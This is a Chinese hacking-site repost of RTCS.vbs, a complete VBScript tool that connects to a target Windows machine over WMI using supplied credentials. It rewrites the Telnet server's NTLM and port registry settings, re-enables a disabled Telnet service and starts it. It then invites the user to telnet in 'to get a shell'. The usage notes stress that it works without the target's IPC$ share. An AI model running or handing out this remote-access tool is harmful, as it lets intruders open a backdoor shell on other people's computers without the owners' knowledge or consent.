华域联盟 vbs 远程开启/关闭目标telnet服务的windows脚本RTCS.vbs

远程开启/关闭目标telnet服务的windows脚本RTCS.vbs

******************************************************************************** 

RTCS v1.10 

Remote Telnet Configure Script, by zzzEVAzzz 

Welcome to visite www.isgrey.com 

Usage: 

cscript c:\scriptpath\RTCS.vbe targetIP username password NTLMAuthor telnetport 

It will auto change state of target telnet server. 

******************************************************************************** 

描述:远程开启/关闭目标telnet服务的windows脚本。 

特点:不依赖于目标的ipc$开放与否。 

原理:直接访问目标的windows管理规范服务(WMI)。该服务为系统重要服务,默认启动。 

支持平台:win2kpro win2kserver winxp win.net 

使用方法: 

在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本,例如: 

c:\>cscript RTCS.vbe <目标IP> <用户名> <密码> <NTLM验证方式> <telnet服务端口> 

其中 NTLM 值可取0,1,2: 

0: 不使用 NTLM 身份验证; 

1: 先尝试 NTLM 身份验证。如果失败,再使用用户名和密码; 

2: 只使用 NTLM 身份验证。 

空密码用两个双引号""表示。 

脚本自动检查目标telnet服务情况,如果未启动则启动它,相反就关闭。 

同一个命令执行两遍,就开/关一次服务。 

关闭服务时也必须输入共5个参数,这样可以根据需要把服务设置还原为默认值(NTLM=2,端口23)。 

如果telnet服务被禁用,将自动更改为“手动”。 

如果要对本地使用,IP地址为127.0.0.1或者一个点(用.表示),用户名和密码都为空(用""表示)。 

此脚本为自由软件,修改发布请著明原作者。谢谢合作。 

本人提供有限技术支持,有问题请到论坛发短消息给我。我的ID是zzzevazzz 

最后更新:2002-8-23 

更新记录: 

1.10  更改了输出显示格式。 

1.09  解决了空密码的问题。 

1.08  代码加密并以测试版发布。 

1.07  增加对付服务被“禁用”的功能。 

1.06  解决在图形界面下运行的问题。 

1.05  对参数做简单判断,防止误操作。 

1.04  增加显示Usage和详细过程功能。 

1.03  增加关闭服务功能。 

1.02  增加手动设置端口和NTLM功能。 

1.00  完成基本功能,远程启动telnet服务,并设置NTLM=1。 


复制代码 代码如下:  

on error resume next  

set outstreem=wscript.stdout  

if (lcase(right(wscript.fullname,11))="wscript.exe") then  

   set objShell=wscript.createObject("wscript.shell")  

   objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))  

   wscript.quit  

end if  

if wscript.arguments.count<5 then  

   usage()  

   wscript.echo "Not enough parameters."  

   wscript.quit  

end if  

ipaddress=wscript.arguments(0)  

username=wscript.arguments(1)  

password=wscript.arguments(2)  

ntlm=wscript.arguments(3)  

port=wscript.arguments(4)  

if not isnumeric(ntlm) or ntlm<0 or ntlm>2 then  

   usage()  

   wscript.echo "The value of NTML is wrong."  

   wscript.quit  

end if  

if not isnumeric(port) then  

   usage()  

   wscript.echo "The value of port is wrong."  

   wscript.quit  

end if  

usage()  

outstreem.write "Conneting "&ipaddress&"...."  

set objlocator=createobject("wbemscripting.swbemlocator")  

set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password)  

showerror(err.number)  

outstreem.write "Setting NTLM="&ntlm&"...."  

set objinstance=objswbemservices.get("stdregprov")  

set objmethod=objinstance.methods_("SetDWORDvalue")  

set objinparam=objmethod.inparameters.spawninstance_()  

objinparam.hdefkey=&h80000002  

objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0"  

objinparam.svaluename="NTLM"  

objinparam.uvalue=ntlm  

set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)  

showerror(objoutparam.returnvalue)  

outstreem.write "Setting port="&port&"...."  

objinparam.svaluename="TelnetPort"  

objinparam.uvalue=port  

set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)  

showerror(objoutparam.returnvalue)  

outstreem.write "Querying state of telnet server...."  

set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password)  

set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'")  

showerror(err.number)  

for each objinstance in colinstances  

if objinstance.startmode="Disabled" then  

   outstreem.write "Telnet server has been disabled. Now changeing start mode to manual...."  

   set objmethod=objinstance.methods_("changestartmode")  

   set objinparam=objmethod.inparameters.spawninstance_()  

   objinparam.startmode="Manual"  

   set objoutparam=objinstance.execmethod_("changestartmode",objinparam)  

   showerror(objoutparam.returnvalue)  

end if  

outstreem.write "Changeing state...."  

if objinstance.started=true then  

   intstatus=objinstance.stopservice()  

   showerror(intstatus)  

   wscript.echo "Target telnet server has been STOP Successfully."  

else  

   intstatus=objinstance.startservice()  

   showerror(intstatus)  

   wscript.echo "Target telnet server has been START Successfully!"  

   wscript.echo "Now, you can try: telnet "&ipaddress&" "&port&", to get a shell."  

end if  

next  

function showerror(errornumber)  

if errornumber<>0 then  

   wscript.echo "Error!"  

   wscript.quit  

else  

   wscript.echo "OK!"  

end if  

end function  

function usage()  

wscript.echo string(79,"*")  

wscript.echo "RTCS v1.10"  

wscript.echo "Remote Telnet Configure Script, by zzzEVAzzz"  

wscript.echo "Welcome to visite www.isgrey.com"  

wscript.echo "Usage:"  

wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password NTLMAuthor telnetport"  

wscript.echo "It will auto change state of target telnet server."  

wscript.echo string(79,"*")&vbcrlf  

end function 

本文由 华域联盟 原创撰写:华域联盟 » 远程开启/关闭目标telnet服务的windows脚本RTCS.vbs

转载请保留出处和原文链接:https://www.cnhackhy.com/14378.htm

本文来自网络,不代表华域联盟立场,转载请注明出处。

作者: sterben

发表回复

联系我们

联系我们

2551209778

在线咨询: QQ交谈

邮箱: [email protected]

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部